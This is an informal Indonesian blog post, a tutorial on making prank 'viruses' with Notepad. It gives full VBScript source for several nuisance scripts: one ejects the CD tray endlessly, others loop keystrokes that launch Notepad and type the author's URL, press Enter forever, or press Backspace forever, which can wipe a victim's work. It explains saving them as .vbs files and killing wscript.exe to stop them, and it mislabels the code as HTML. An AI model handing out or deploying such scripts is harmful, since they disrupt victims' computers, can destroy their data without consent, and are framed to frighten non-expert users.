cara membuat virus nakal dengan notepad

saya akan membahas tentang virus nakal. firus ini tidak mematikan
ini cuma iseng iseng aja tapi kalau orang awam pasti panik wkwwkwkkwkw
ini juga bisa dimatikan makanya jagan panik kalau anda kena kayak gini

caranya
>buka notepad
>masukan html dibawah ini

virus CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti

Set ilikepies = CreateObject("WMPlayer.OCX.7")
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ' cdrom
loop
End If 

virus note "www.auliazahril.co.cc"

WScript.Sleep 18000 

WScript.Sleep 1000 

do 

Set WshShell = WScript.CreateObject("WScript.Shell") 

WshShell.Run "notepad" 

WScript.Sleep 100 

WshShell.AppActivate "Notepad" 

WScript.Sleep 500 

WshShell.SendKeys "w" 

WScript.Sleep 500 

WshShell.SendKeys "w" 

WScript.Sleep 500 

WshShell.SendKeys "w" 

WScript.Sleep 500 

WshShell.SendKeys "." 

WScript.Sleep 500 

WshShell.SendKeys "a" 

WScript.Sleep 500 

WshShell.SendKeys "u" 

WScript.Sleep 500 

WshShell.SendKeys "l" 

WScript.Sleep 500 

WshShell.SendKeys "i" 

WScript.Sleep 500 

WshShell.SendKeys "a" 

WScript.Sleep 500 

WshShell.SendKeys "z" 

WScript.Sleep 500 

WshShell.SendKeys "a" 

WScript.Sleep 500 

WshShell.SendKeys "h" 

WScript.Sleep 500 

WshShell.SendKeys "r" 

WScript.Sleep 500 

WshShell.SendKeys "i" 

WScript.Sleep 500 

WshShell.SendKeys "l" 

WScript.Sleep 500 

WshShell.SendKeys "." 

WScript.Sleep 500 

WshShell.SendKeys "c" 

WScript.Sleep 500 

WshShell.SendKeys "o" 

WScript.Sleep 500 

WshShell.SendKeys "." 

WScript.Sleep 500 

WshShell.SendKeys "c" 

WScript.Sleep 500 

WshShell.SendKeys "c"

WScript.Sleep 500  

wscript.sleep 5000 

loop

virus membuat user terus mengetikkan kata2 “visit www.auliazahril.co.cc"



Set wshShell = wscript.CreateObject("WScript.Shell") 
do  
wscript.sleep 100 
wshshell.sendkeys "visit www.auliazahril.co.cc" 
loop

virus membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell") 

do 

wscript.sleep 100 

wshshell.sendkeys "~(enter)" 

loop

virus membuat user menekan backspace/hapus

MsgBox "Balik lagi ah...saltik" 

Set wshShell =wscript.CreateObject("WScript.Shell") 

do 

wscript.sleep 100 wshshell.sendkeys "{bs}" 

loop

>klik save as

>ganti save as tepy menjadi all files

>ketik nama contoh :   iseng.vbs  pokoknya dibelakang nama .vbs

cara menghentikan 

>pencet  CTRL+ALT+DEL

>klikprocesses

>metikan proses wscripts.exe

kalau mau download disini

semoga berhasil